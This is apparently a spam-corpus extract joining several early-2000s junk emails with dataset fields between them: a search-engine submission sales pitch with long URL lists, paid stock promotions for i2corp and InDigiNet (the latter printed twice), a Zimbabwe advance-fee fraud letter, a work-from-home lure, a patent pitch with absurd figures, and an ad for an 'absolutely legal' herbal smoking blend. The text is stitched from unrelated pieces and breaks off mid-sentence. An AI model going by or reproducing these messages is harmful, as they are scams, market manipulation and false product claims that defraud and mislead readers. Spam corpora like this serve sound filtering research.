http://austria.intersearch.net Advalvas Yellow Pages http://yellow.advalvas.be Le trouv'tout http://www2.ccim.be Webwatch http://webwatch.be Czech Republic CZECH Info Center http://www.icml.com Seznam http://www.seznam.cz Denmark Dansk Web Index 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http://trovator.combios.es LATIN AMERICA Argentina DNA Index http://www.iwcc.com Fiera http://www.fiera.com GauchoNet http://www.gauchonet.com Bolivia Bolivia Web http://www.boliviaweb.com Chile Chile Business Directory http://www.chilnet.cl Colombia Indexcol http://www.indexcol.com Que Hubo (The Colombian Yellow Pages http://www.quehubo.com Costa Rica Info Costa Rica http://www.info.co.cr Mexico Mexico Web Guide http://www.mexico.web.com.mx SBEL http://rtn.net.mx/sbel YUPI http://www.yupi.com Venezuela Auyantepui http://www.auyantepuy.com Venezuela Online http://www.venezuelaonline.com Yuada http://www.yuada.com.ve NORTH AMERICA Canada infoProbe http://www.infoprobe.net Maple Square http://maplesquare.com Sympatico Hungary Heureka http://www.heureka.hungary.com Italy Ragno Italiano http://ragno.plugit.net Search in Italy http://www2.crs4.it:8080 ShinySeek http://www.shinyseek.it Netherlands de Internet Gids http://www.markt.nl Ilse http://www.ilse.nl Search.NL http://www.search.nl SURFnet http://www.nic.surfnet.nl Norway Eunet Norge http://www.eunet.no Nettvik http://nettvik.no ORIGO http://www.origo.no SOL Kvasir http://kvasir.sol.no Slovakia KIO http://www.kio.sk Slovenia Slovenia Resources http://www.ijs.si/slo/resources Sweden Excite Sverige http://se.excite.com Lycos Sverige http://www.lycos.se Switzerland HEUREKA http://www.heureka.ch Netguide http://www.netguide.ch Schweizer Home-page Directory http://swisspage.ch Swisscom http://www.swisscom.ch Swiss FirmIndex Online http://www.firmindex.ch Swiss Web http://www.web.ch The Blue Window http://www.bluewin.ch Webdo http://www.webdo.ch Turkey Dost Net Turish Web Sites Directory http://www.dost.net Yugoslavia Yu Search http://www.yusearch.com MIDDLE EAST Isreal Maven http://www.maven.co.il Sivuv http://www.sivuv.co.il Start http://www.start.co.il WALLA http://www.walla.co.il AFRICA Regional Africa Online http://www.africaonline.com WoYaa!m http://www.woyaa.com South Africa Ananzi http://pub01.ananzi.co.za South Africa Online http://www.southafrica.co.za ASIA PACIFIC Regional Asia Internet Plaza http://www.asia-info.com AsianNet http://www.asiannet.com Asia Online http://www.asiadragons.com Asiaville http://www.asiaville.com GlobePage http://www.globepage.com SEA Quest http://seaquest.kusza.edu.my Search Dragon http://www.searchdragon.com South Asian Milan http://www.samilan.com Australia AAA Matilda http://www.aaa.com.au Alta Vista http://altavista.yellowpages.com.au Australia/New Zealand Anzwers http://www.anzwers.com.au Australia Aussie.com.au http://www.aussie.com.au The Australian Internet Directory http://203.17.138.111/taid The Australian Yellow Pages http://www.yellowpages.com.au LookSmart http://www.looksmart.com.au Australian Internet Directories http://www.sofcom.com/directories Search Australia http://www.cowleys.com.au Telstra http://www.telstra.com.au Web Wombat http://www.webwombat.com.au Hong Kong Hong Kong Internet Directory http://www.internet-directory.com Hong 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Content-Transfer-Encoding: QUOTED-PRINTABLE  Your Shop Web Site is NOT Being SEEN WHY? NO ONE CAN FIND IT!   YOUR web site is NOT on many search engines and at the Bottom of their listings and as a result   YOU are LOSING customers who cannot find you!   Can this be changed? YES!Regal Telecom For ONLY =A379.97   We will submit your web site to over 350 of the worlds search engines. (see full list of Search Engines at the end of this document)   We will submit your site with the most effective meta tags and keywords. (See our money back guarantee)   We know what the search engines are looking for.   How do we know? We look at the top five web sites in your category and use the same meta tags and key words that they use.   If it works for them it will work for you!   So YOUR web site can beFOUND and SEEN   For Twelve Months! Guaranteed!  (See our testimonials)     Think about it! Just as you have a web designer to build your site and a company to host your site,does it not make sense to use a company that specializes in professionally submitting your web site. Getting your web site FOUND and SEEN!      A Shocking Fact! Your web site designer and your host are NOT responsible for getting your web site seen!  Yes, they may submit your site to a few search engines periodically but to stay on the TOP of the search engines is an aggressive business.   Getting onto the search engines and at the top of their listings doesn't  just happen.   You have to be put there!   What the.Net, The Internet Magazine 8/2000 said: ""You have your web site designed and have sorted out the maintenance and waiting for the business to roll in, but there's one small problem.... No one knows!""   You need a professional company to do it!   Your Money Back Guarantee! If you do not receive confirmation from the search engines that we submit your web site to, we will give you your money back! Guaranteed!   There is nothing to lose!     Some testimonials of those that have used Regal Telecom ""This service is my secret weapon. I never believed it was possible to have such a rapid response."" etvcom.tv     ""I have been truly amazed by the results. I have received enquires from Austria, Hawaii, Spain and many different parts of Britain for my international real estate business. This is directly due to this service. I definitely recommend it! Worth every penny!"" keyhomes.net   ""We run a Cancer Clinic and it is essential that our web site is submitted to as many search engines as possible. We are looking forward to having the capability to do online video conferencing and online diagnosis with our patients from many parts of the world. It is a real advantage to have the capabilities that Regal Telecom offers."" Mari Posas Cancer Clinic.   ""We never received a single inquiry until we used Regal Telecom"" noniuk.co.uk     To submit your web site all we need is your web site and  e-mail address.   We will do the rest!   Once we have submitted your web site you will receive a dramatic response by e-mail from search engines around the world confirming that you are listed on them.    This will happen every month for the next year!   To Book our Service Simply PRESS this   BOOK NOW!   Button and we can begin submitting your web site to the worlds search engines today! Then be ready for the response!   Within 24 hours your web site will begin to be submitted to over 350 search engines world wide and every month  thereafter for the next year.   The results will astound you!   Most of your competition are unaware of the facts below! This is to YOUR Advantage!     Web Site Facts Remember ""The Yellow Pages"" Rule!   A search engine is like an enormous ""yellow pages"" with thousands of companies advertising the same product.  Unless you are near the front of the listing your chances of a customer actually seeing you is remote.  Unlike a literal yellow pages there is a way to move YOU to the front and also get you on all of the ""Yellow pages"" in the world.   What does it take to be seen on the Search Engines?   Appreciate the Three Golden Rules q Search engines do not pull up the web sites at random they use a specific method of search. Those that know them are the ones at the top, those that do not are buried at the bottom!  q Your web site must be submitted to the search engines every month otherwise your site gets pushed off (Its a bit like a Ferris wheel, you get on and then after a while you are taken off unless you get another ticket and get back on). q Understand the importance of Keywords, Meta tags, and Titles employed when submitting your site to the search engines!  Use the right ones and you go up. Get it wrong and you go to the bottom! Some feel that it is enough to be on the large search engines. Wrong! The problem is because of their sheer size most web sites get buried.  Having your web site professionally submitted can boost you up the listings of these larger search engines, so you can be found on them.  Also many people use the smaller search engines and if your site is professionally submitted your chances of getting to the top are greatly increased.   It is essential to be on them!   Having Regal Telecom expertly submit your web site every month to worlds search engines will give YOU the Advantage you need.   This can make the difference between new customers FINDING your web site or NOT!   Be on ALL of these Search Engines  Excite, Altavista, Google, Hotboot, WhatUseek, Lycos, WebCrawler, NorthernLight, DirectHit, AlltheWeb, Pepesearch, Searchit,  http://search.yell.co.uk   UK Directory http://www.yell.co.uk/yell/web/index.htmlhttp://www.ukdirectory.com UK Plus http://www.ukplus.co.ukUK Web TheBrit Index Media UK The UK Web Library http://www.scit.wlv.ac.uk UK Yellow Web  Whatsnew http://www.whatsnew.com/uk http://yacc.co.uk/britindDemon Site of Sites http://www.brains.demon.co.ukm http://www.mediauk.com/directory LookSmart http://www.looksmart.co.ukUK Cybersearchhttp://www.cybersearch.co.uk UK/Ireland UK & Ireland http://www.altavista.telia.comAustria Austrian Internet  Directory http://www.aid.co.at Intersearchhttp://austria.intersearch.net Advalvas Yellow Pages http://yellow.advalvas.beLe trouv'tout http://www2.ccim.be Webwatch http://webwatch.be Czech RepublicCZECH Info Center http://www.icml.com Seznam http://www.seznam.cz DenmarkDansk Web Index http://www.web-index.dk Jubii http://www.jubii.dk France Carrefourhttp://www.carrefour.net CNRS http://www.cnrs.fr ECILA http://www.ecila.frECHO http://www.echo.fr France Excite http://fr.excite.com Lokace http://lokace.iplus.fr Nomade http://www.nomade.fr Voilahttp://www.voila.fr Wanadoo http://www.wanadoo.fr Germany Aladin http://www.aladin.deAllesKlar http://www.allesklar.de  Crawler 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Whats more, there are NO competitors for the Companys method or technology for remote wagering. i2corp is the Only Company in the World that can legally license its method and technology for remote wagering. i2corp is currently negotiating with Major Casinos Globally. Michael Pollock of the Pollock Gaming Resource Group (PRRG) has issued a report studying the effects of live wagering from remote locations. The study concludes that live wagering from remote locations does more than create a new source of revenue for sponsoring casinos. Additionally, it creates a marketing opportunity, a means to find and cultivate thousands of new customers who can be encouraged to become on-site patrons. A copy of the full report in pdf format can be downloaded at http://www.gamingobserver.com/. i2corp is the holding company for Home Gambling Network, Inc. HGN holds U.S. Patent 5,800,268, which covers remote wagering on live games and events with electronic financial transactions. The Patent is comprised of three primary actions: the gambling is live; the player is remote and physically away from the actual game or event; and the winnings and losses are transacted electronically in real time. They include, but are not limited to, horse racing, soccer, bingo, poker, roulette and many other Las Vegas Casino Games. FACT: Currently there is an overwhelming opinion that remote wagering in real-time will become one of the most profitable/prolific industries worldwide. i2corp recently won judgment against giant UUNET a subsidiary of MCI/WorldCom in a U.S. Federal Court for Patent infringement. Just another compelling reason why i2corp has orphaned their competition! Therefore we conclude i2corps common stock to be overlooked and undervalued! RECOMMENDATION: STRONG BUY i2corp OTCBB Symbol (ITOO) Recent Price .05 - .08 52-Week Hi-Lo .05 - .48 Short Term Target Price: .60 This news release contains forward-looking statements as defined by the Private Securities Litigation Reform Act of 1995. Forward-looking statements include statements concerning plans, objectives, goals, strategies, future events or performance and underlying assumptions, and all statements that are other than statements of historical facts. These statements are subject to uncertainties and risks including, but not limited to, product and service demand and acceptance, changes in technology, economic conditions, the impact of competition and pricing, government regulation, and other risks defined in this document. These cautionary statements expressly qualify all such forward-looking statements made by or on behalf of Gaming Advisor. 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After the last general elections in my country where the incumbent president Mr. Robert Mugabe won the presidential election, the government has adopted a very aggressive land reforms programme. This programme is solely aimed at taking the land owned by white African farmers for redistribution to black africans. This programme has attracted worldwide condemnation from world leaders including British prime minister,mr Tony Blair and also forced several white farmers to flee the country for fear of victimization and physical abuse. Two weeks ago, our headquartes in Harare was attacked and looted by black protesters and in the process burnt down the whole building. Fortunately,they did not get access to the huge funds kept in the strong room which belong to the co-operation. This cash was kept at the secretariat rather than in the bank for fear of seizure by the government. Now I have the funds in my possession and would need to get it invested in a viable business venture in europe. The cash in question is US$46Million dollars. Once I can get your commitment and sincerity of investing this funds on our behalf then I would proceed to get the funds freighted to Europe, where you would be required to pick it up for investment for us. You do not have anything to worry about as I would undertake all charges involved in freighting the funds to europe, and the business proposal is 100% legal and risk free. You would be adequately compensated for all your effort once we have gotten the funds to europe. Please get back to me if you can be of assistance and I would want our correspondence to be via email as most phone lines of white farmers are bugged by the government. I expect 100% confidentiality and your prompt response to this mail so as to proceed.you may also reach me on stanleywoodwork@email.com Kind regards, Stanley Woodwork.",1,0 Aler ,yyyy@netnoteinc.com,"Tue, 30 Jul 2002 11:24:05 -0500",Telecom Consolidation Begins to Accelerate.................... qsv,"![](http://www.developerhosting.com/lqtracker/imgtrk.asp?id=40165&uid=1290) Vol. 6, Issue 243 - August 2002 The Wall Street Bulletin _**Your First Source For News From ""The Street""**_ Symbol: **IGTT** Shares Outstanding: 373,400,0000 Float (est.): 52,560,000 Short-Term Target: $3.75 52 week High/Low: $1.10/0.02 Rating: Strong Buy **Our last pick Symphony Telecom (OTCBB: SYPY) went UP 100% in just one week!!!** _InDigiNet Identifies Acquisition Targets with Combined Revenues of $35 Million..._ **Telecom Consolidation Begins to Accelerate** The Wall Street Bulletin believes that the recent investment of capital into Level 3, lead by Warren Buffett, is further proof of the continued validity of the telecommunication market when looked at from the perspective of the small to mid-sized enterprises. After the boom and bust comes the revival. For some carriers drowning in debt, such as Global Crossing and WorldCom, the future may be dim. But for those survivors of the industry that have managed to remain on their feet, other companies' problems mean opportunity. ""Every major industry in the history of the United States has experienced a similar transformation, from the railroads in the late 1800s to the automakers in the mid-1900s to the Dot-Coms at the end of the 20th century,"" says Robert Saunders, director of the Eastern Management Group market research firm. Christopher Dean, CTO of OSS company Eftia, says ""We are seeing all the people that are the survivors. There's all this pent-up money and for the surviving carriers out there, they can get what used to cost a few billion for a few millions."" _Read the full story from Telecommunications Magazine - See the link at the end of this newsletter._ As we write this report, our New Recommendation InDigiNet, Inc. (OTCBB: IGTT) has only been trading on the OTC Bulletin Board since late May of 2002. As InDigiNet, Inc. continues to implement its business plan, we believe this company will help lead the way up for the resurgence of the Telecom Sector. This could be our strongest recommendation of the year. We are giving IGTT our Highest Rating of STRONG BUY/AGGRESSIVE GROWTH. **Ground Floor Opportunity / Tremendous Growth Potential** We believe IGTT will perform equally to, if not greater than its competition. A similar telecommunications company, Talk America Holdings (Nasdaq: TALK), share price began to explode in April of this year moving from just over $0.40/share to over $4.00/share in late June. Talk America Holdings previously had a market cap of only $24.51 million, but today has a market cap of $267 million. IGTT curently has a market cap of $22.42 million. Using the TALK model for potential growth, IGTT could very well be trading in the .60 range in only a few months, with a market cap in excess of $250 million. This would be an increase of 1000%. So you see why IGTT has such great potential and the time is right for investors to get in on the ground floor. **The _InDigNet_ Strategy** InDigiNet, Inc. is an integrated solutions company that provides small to mid- sized enterprises (SMEs) with an integrated communication solution. InDigiNet is a prestigious ""Diamond"" level partner of Avaya, as well as a reseller for Cisco and Compaq. The Company will offer data, local, long distance and wireless services to SMEs over third party networks enabling the Company to offer a comprehensive suite of services without the capital burden of building a communication network. The Company's strategy is to acquire the customer bases of smaller, single market communication companies and attractively priced Internet Service Providers (ISPs). _The Company recently completed its acquisitions of Fox Telecommunications and WBConnect_. InDigiNet will then expand the breadth of their services to grow revenue and enhance profitability. SMEs account for $120 billion in commercial telephony, data services and technology spending, or 33% of the country's total market, and this spending is expected to grow at above average rates over the next ten years. _Source: Morgan Stanley Dean Witter_. The IGTT web site: www.indiginet.com **The __ IT Market** Based on recent studies, the country's 7.4 million SMEs currently lag significantly in the utilization of IT and data communications, including Internet access, web services, business software and e-commerce. Worldwide IT spending increased to $981 billion US for the year, an overall increase of 3.7 percent over 2001, according to a study released 7/24/2002 by market researcher IDC. IT spending in 2003 is expected to reach record heights, growing by 9 percent worldwide to top the $1 trillion mark for the first time. In IDC's revised forecasts for IT spending in 2002 and 2003, IT spending in the US is expected to increase by 3 percent this year over 2001 to $436 billion, with further growth of 9 percent in 2003. Western Europe can expect growth of 4 percent in 2002 and 6 percent in 2003. Though Japan will experience flat growth levels this year, by next year growth in the market will return to the tune of 7 percent with particular strength shown in China, India, Korea, Russia, the Philippines, South Africa and Poland. _Source:IDC_ **Particulars** The Wall Street Bulletin is putting IGTT on our Strong Buy/Aggressive Growth recommendation list for the following reasons: 1\. The Company's strategy is to acquire the customer bases of smaller, single-market communication companies and attractively priced Internet Service Providers (ISPs). The Company will sell its bundled service package to the acquired customer base that will form a direct and immediate distribution channel for all types of communication services - local, long distance, wireless, and data. 2\. The Company is currently serving many customers in the Denver/Front Range communities but in particular the education vertical market has recognized the value of integrating a wireless broadband data network into the existing campus network. The Company's customers include United States Olympic Committee (USOC), University of Denver, and Colorado State University. 3\. The Company has identified approximately $35,000,000 in revenues to acquire comprised of distressed assets to be auctioned in bankruptcy court and smaller communication providers with valuable customer bases. Each of the targeted companies are within the Company's footprint and will, subject to purchase completion, increase the Company's embedded customer base. **Investment Consideration** InDigiNet Inc recently filed its 10QSB, for the three months ended March 31, 2002. IGTT reported Revenues of $339,694 in Q1 2002 vs. Revenues of $0 in Q1 2001. At this current growth rate, revenues should grow above $1.3 million for their first year of production with no increases in acquisitions. As more and more large corporations come under government scrutiny, investors will turn to small to mid-sized companies with their investment dollars. NEWS - InDigiNet, Inc. Completes Acquisition of Fox Telecommunications, Inc. - _PRNewswire -_CLICK HERE NEWS - InDigiNet, Inc. Completes Acquisition of WBConnect _\- PRNewswire_ \- CLICK HERE NEWS - Telecom Consolidation Begins to Accelerate \- from _Telecommunications Magazin_ e - CLICK HERE Industry Interests - Telecommunications Websites: TIA Online \- Telecommunications Magazine \- IT World **The Wall Street Bulletin is an independent newsletter and is not affiliated with InDigiNet, Inc.** The Wall Street Bulletin is an independent research firm. This report is based on The Wall Street Bulletin's independent analysis but also relies on information supplied by sources believed to be reliable. This report may not be the opinion of IGTT management. The Wall Street Bulletin has also been retained to research and issue reports on IGTT and was paid ten thousand dollars by a shareholder of the company. The Wall Street Bulletin may from time to time buy or sell IGTT common shares in the open market without notice. The information contained in this report is not intended to be, and shall not constitute, an offer to sell or solicitation of any offer to buy any security. It is intended for information only. Some statements may contain so-called ""forward-looking statements"". Many factors could cause actual results to differ. Investors should consult with their Investment Advisor concerning IGTT. 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After the boom and bust comes the revival. For some carriers drowning in debt, such as Global Crossing and WorldCom, the future may be dim. But for those survivors of the industry that have managed to remain on their feet, other companies' problems mean opportunity. ""Every major industry in the history of the United States has experienced a similar transformation, from the railroads in the late 1800s to the automakers in the mid-1900s to the Dot-Coms at the end of the 20th century,"" says Robert Saunders, director of the Eastern Management Group market research firm. Christopher Dean, CTO of OSS company Eftia, says ""We are seeing all the people that are the survivors. There's all this pent-up money and for the surviving carriers out there, they can get what used to cost a few billion for a few millions."" _Read the full story from Telecommunications Magazine - See the link at the end of this newsletter._ As we write this report, our New Recommendation InDigiNet, Inc. (OTCBB: IGTT) has only been trading on the OTC Bulletin Board since late May of 2002. As InDigiNet, Inc. continues to implement its business plan, we believe this company will help lead the way up for the resurgence of the Telecom Sector. This could be our strongest recommendation of the year. We are giving IGTT our Highest Rating of STRONG BUY/AGGRESSIVE GROWTH. **Ground Floor Opportunity / Tremendous Growth Potential** We believe IGTT will perform equally to, if not greater than its competition. A similar telecommunications company, Talk America Holdings (Nasdaq: TALK), share price began to explode in April of this year moving from just over $0.40/share to over $4.00/share in late June. Talk America Holdings previously had a market cap of only $24.51 million, but today has a market cap of $267 million. IGTT curently has a market cap of $22.42 million. Using the TALK model for potential growth, IGTT could very well be trading in the .60 range in only a few months, with a market cap in excess of $250 million. This would be an increase of 1000%. So you see why IGTT has such great potential and the time is right for investors to get in on the ground floor. **The _InDigNet_ Strategy** InDigiNet, Inc. is an integrated solutions company that provides small to mid- sized enterprises (SMEs) with an integrated communication solution. InDigiNet is a prestigious ""Diamond"" level partner of Avaya, as well as a reseller for Cisco and Compaq. The Company will offer data, local, long distance and wireless services to SMEs over third party networks enabling the Company to offer a comprehensive suite of services without the capital burden of building a communication network. The Company's strategy is to acquire the customer bases of smaller, single market communication companies and attractively priced Internet Service Providers (ISPs). _The Company recently completed its acquisitions of Fox Telecommunications and WBConnect_. InDigiNet will then expand the breadth of their services to grow revenue and enhance profitability. SMEs account for $120 billion in commercial telephony, data services and technology spending, or 33% of the country's total market, and this spending is expected to grow at above average rates over the next ten years. _Source: Morgan Stanley Dean Witter_. The IGTT web site: www.indiginet.com **The __ IT Market** Based on recent studies, the country's 7.4 million SMEs currently lag significantly in the utilization of IT and data communications, including Internet access, web services, business software and e-commerce. Worldwide IT spending increased to $981 billion US for the year, an overall increase of 3.7 percent over 2001, according to a study released 7/24/2002 by market researcher IDC. IT spending in 2003 is expected to reach record heights, growing by 9 percent worldwide to top the $1 trillion mark for the first time. In IDC's revised forecasts for IT spending in 2002 and 2003, IT spending in the US is expected to increase by 3 percent this year over 2001 to $436 billion, with further growth of 9 percent in 2003. Western Europe can expect growth of 4 percent in 2002 and 6 percent in 2003. Though Japan will experience flat growth levels this year, by next year growth in the market will return to the tune of 7 percent with particular strength shown in China, India, Korea, Russia, the Philippines, South Africa and Poland. _Source:IDC_ **Particulars** The Wall Street Bulletin is putting IGTT on our Strong Buy/Aggressive Growth recommendation list for the following reasons: 1\. The Company's strategy is to acquire the customer bases of smaller, single-market communication companies and attractively priced Internet Service Providers (ISPs). The Company will sell its bundled service package to the acquired customer base that will form a direct and immediate distribution channel for all types of communication services - local, long distance, wireless, and data. 2\. The Company is currently serving many customers in the Denver/Front Range communities but in particular the education vertical market has recognized the value of integrating a wireless broadband data network into the existing campus network. The Company's customers include United States Olympic Committee (USOC), University of Denver, and Colorado State University. 3\. The Company has identified approximately $35,000,000 in revenues to acquire comprised of distressed assets to be auctioned in bankruptcy court and smaller communication providers with valuable customer bases. Each of the targeted companies are within the Company's footprint and will, subject to purchase completion, increase the Company's embedded customer base. **Investment Consideration** InDigiNet Inc recently filed its 10QSB, for the three months ended March 31, 2002. IGTT reported Revenues of $339,694 in Q1 2002 vs. Revenues of $0 in Q1 2001. At this current growth rate, revenues should grow above $1.3 million for their first year of production with no increases in acquisitions. As more and more large corporations come under government scrutiny, investors will turn to small to mid-sized companies with their investment dollars. NEWS - InDigiNet, Inc. Completes Acquisition of Fox Telecommunications, Inc. - _PRNewswire -_CLICK HERE NEWS - InDigiNet, Inc. Completes Acquisition of WBConnect _\- PRNewswire_ \- CLICK HERE NEWS - Telecom Consolidation Begins to Accelerate \- from _Telecommunications Magazin_ e - CLICK HERE Industry Interests - Telecommunications Websites: TIA Online \- Telecommunications Magazine \- IT World **The Wall Street Bulletin is an independent newsletter and is not affiliated with InDigiNet, Inc.** The Wall Street Bulletin is an independent research firm. This report is based on The Wall Street Bulletin's independent analysis but also relies on information supplied by sources believed to be reliable. This report may not be the opinion of IGTT management. The Wall Street Bulletin has also been retained to research and issue reports on IGTT and was paid ten thousand dollars by a shareholder of the company. The Wall Street Bulletin may from time to time buy or sell IGTT common shares in the open market without notice. The information contained in this report is not intended to be, and shall not constitute, an offer to sell or solicitation of any offer to buy any security. It is intended for information only. Some statements may contain so-called ""forward-looking statements"". Many factors could cause actual results to differ. Investors should consult with their Investment Advisor concerning IGTT. Copyright 2002 (C) The Wall Street Bulletin \- All Rights Reserved I no longer wish to receive your newsletter **CLICK HERE** --- ikxrkobewgotpevemtbokjgssytdinm ",1,1 ,fkd@hotmail.com,"Tue, 30 Jul 2002 14:02:20 -0400 (EDT)",HELP WANTED. WORK FROM HOME. FREE INFO,"WE NEED HELP. We are a 14 year old fortune 500 company, and we have grown 1000%! We cannot keep up. We are looking for individuals who want to work at home, and make a good living. So if you are looking to be employed from home with a career that has vast opportunities, then go: http://www.lotsonet.com/opportunity and fill out our info form. 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This project has the potential of considerably reducing human trauma and misery and also saving substantial amounts of money by way of damage to property etc. We are available at the following contact point : largeinv@indiatimes.com In case, you feel that some of your friends, acquaintances and associates could be interested and/or helpful in our project aimed at human welfare kindly forward our mail to them. In case you are in a position to provide us with the above named services, or interested in any further dialogue please contact us. Hoping to hear from you. With Best Wishes and Kind Regards, Thanking you, Yours sincerely JCPPL GROUP ANNEXURE The STATISTICS pertaining to road transport worldwide: - (a) Number of people dying worldwide - More than 1.2 million per year = More than 1,00,000 per month = More than 3300 per day = More than 120 per hour = More than 2 per minute = At least 1 person is dying every 30 seconds (b) Number of people getting injured worldwide - = More than 32 million per year = More than 2 million per month = More than 60,000 per day = More than 4000 per hour = at least 1 person every second. (One person seriously injured every three seconds; one person moderately injured every three seconds; one person mildly injured every three seconds.) (c) Current yearly automobile sales worldwide - more than 1000 Billion US$. (d) Number of automobiles worldwide - more than 1000 billion pieces (e) Daily loss caused due to vehicular accidents worldwide More than 2 Billion US$ per day. (2% of the worldwide Gross National Product of more than 36500 Billion US $ = More than 730 US$ per year= More than 2 Billion US$ per day) TheADVANTAGES of the technology developed by us: a. The introduction of such technology will dramatically reduce the expenses of auto-insurance. This reduction of insurance cost will be at par with or even more that the expenses incurred towards the introduction of such technology in modern day vehicles. Accordingly, the Life Insurance premier will also undergo drastic reduction. Additionally, because of saving of lives, the outgo of the insurance companies will reduce substantially. b.As per the WHO studies and projections, road accidents occupy the number nine positions by way of causes of death in the world today. It is projected by WHO that by the year 2020 they will occupy the number three positions, next only to Heart disease and Depression. By introduction of this technology, we are sure that this will not happen. On the contrary there will be massive reduction in the number of deaths due to road accidents and road accidents may not figure on the list of major causes of death, in the year 2020 at all. c. This technology will therefore, make all vehicles cheaper and safer. Not only will the cost be reduced, safety which is priceless in itself, will also be greatly enhanced. As and when the regular Patent Application is filed and patent is granted, the life of the patent will be 20 years. Even at the current levels, with road accidents placed at number nine on the WHO list as a major cause of death, there is a daily loss of Two Billion US$. Even at the present level, over a period of twenty years, without any interest and without any compounding, this loss works out to be: 2 Billion US$ X 365 days X 20 years - 14,600 Billion US$. d. Our technology will ensure that at least SEVENTY-FIVE PERCENT of the above losses are prevented. Such figure works out to be more that 10,000 Billion US$. It is important to note that this is the projection at the current level. As per the future projections, the incidents of road accidents are expected to increase. Hence, the figure is likely to be increase very substantially. In addition the Time factor and the interest factor will inflate this figure further. e. At the current levels, more than 1.2 million persons are dying every year due to road accidents. Even at the current rates, more than 24 million lives will be lost in road accidents over the next twenty years (i.e. life of the patent, when granted). Besides, at the current levels. 3.2 million people are injured every year. In the next twenty years, the number of people injured due to road accident, will therefore be more than half a Billion. f. If we add to that the personal, physical and psychological traumas to those directly involved in and also to those who are associated with the people involved in the road accidents. The trauma and the misery and henceforth the value of the savings, are all unmeasurable in quantities, presently known to human kind. g. Considering the figures and dynamics as explained hereinabove, it may not be improper or out of place to compare this technology with the introduction of electricity, computer or aircrafts in terms of its value to mankind. h. The benefits of this technology will be so obvious and essential that, in the very near future, the use of this technology will become unavoidable. It should and will become mandatory by law, to install such technology and the installation of such technology should and will be a pre-requisite for granting or renewal of the registration and license of all vehicles in future. i. As described hereinabove; this technology and its utility are incomparable, outthought of, and unheard of till date. It will open a new floodgate in human travel and safety measures. In future, it can and will be applied to other mode of transport, like aircrafts and trains also. . Among other things, we have the following OPTIONS available to us: -OPTIONS available to us: - a- OUTRIGHT SALE (a) Immediate outright sale of the idea and the concept along with our filed Applications for one time lump sum consideration. (b) Further development of the concept and further filing of Patent and all Patent related applications, before taking steps as outlined in ""a"". The process (b) will obviously increase the realization in terms of price. b- LICENCING OPTIONS i) New vehicles- Granting of licenses to manufacturers of automobiles, individually or collectively, all over the world for incorporation in the automobiles to be manufactured in future on fixed time or per piece basis. ii) Conversion of existing vehicles - To independent agents for conversion of the existing more than 1000 Billion vehicles all over the world. c - COMBINED OPTIONS A collaborative arrangement with some private and/or government agency wherein we receive a certain down payment and then jointly distribute the licensing rights on a pre-decided sharing (partnership) arrangement. The ECONOMICS of the project will be as follows: - 1) In case any/all processes and systems described by us are incorporated in the design of new vehicles and the new vehicles are manufactured in accordance with the modified designs, the cost escalation may not be more than 5% to 8%, and the safety and the protection will be ten times (More than) the price escalation. Hence, drop in insurance premier will compensate for the cost escalation. 2) In case, the existing vehicles are modified, the cost involved will be approximately 10% to 15% of the value of the vehicle. But partial modifications at a lower cost, which will give partial protection, may also be carried out. As a thumb rule, the cost of modification in percentage terms will be about one fifth of the percentage of safety and protection provided. 3) In case the value of the vehicles is low or the life of the vehicle is about to expire, the partial modifications may be practically and economically viable, as incorporation onto a new vehicle is relatively less expensive and more protective. 4) There are more than 1000 Billion motor vehicles in the world at present. Besides there are an unspecified number of non-motorized ehicles. 5) Almost all of them can be converted in phased manner to a variable degree. The cost of conversion will be directly proportional to their current market value and the safety shield to be generated there from. 6) Among the motorised vehicles, the conversion cost may work out of few dollars for every percent of safety shield created The exact calculation can be worked out, but over all, some of the methods may provide more safety at lower cost compared to the other which may differ in efficiency. 7) Even if we consider a very vague and approximate cost of conversion of 300 US$ per vehicle, the conversion industry works out to be worth 3,00,000 Billion US$. 8) Realising the potential of the product in terms of human safety, it will be reasonable to presume that majority of such conversion will be completed over a period of three years from the starting date. 9) As pointed hereinabove, the size of the conversion industry may be estimated to, in the range of 1,00,000 Billion US$ per year over the next three years. 10) Alternatively, considering the diversity of available motorised vehicles all over the world, conversion licensing can also be commercially viable proposition. For such conversion, licenses can be granted on-line, on receipt of on-line payments. In that case, different rates for granting conversion to vehicles having specific registration numbers can be granted in accordance with and in proportion to the size, carrying capacity and the engine power of the vehicle. 11) In case, licensing is done, the creation and installation of the concerned systems will be done by the end-user, as per his circumstances and needs. However, piracy is likely to be a major problem in such licensing. 12) It is likely that as and when the systems are introduced in the motorised vehicles, unusual and unprecedented demand of new vehicles is created. This will result in massive rejection of the vehicles currently playing all over the world and stimulate an entirely new market as far as motorised vehicle is concerned. The size of such market is difficult to either comprehend and/or estimate. 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Seventh Heaven Temple 3 Ragga Dagga (TM) is the sweet, sweet evolution of all of that. * A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE 1 & 2). * HAPPIER, HAPPY SMOKING!!! * INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. * MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. * NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! * INHIBITS STRESS AND ANXIETY. * INSPIRES CONTEMPLATIVENESS & CREATIVITY. * ENHANCES THE SEXUAL EXPERIENCE!!! * GENERATES MORE RESTFUL SLEEP & LUCID DREAMING. * A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! * EASILY IGNITED & STOKED. * SMOKES SWEETLY! * ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! * LINGERS FOR A GOOD, GOODLY WHILE! * POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! * JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY.JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). Temple 3 Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-Sensitive/Responsive, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon sensitive/responsive herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple 3 Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid 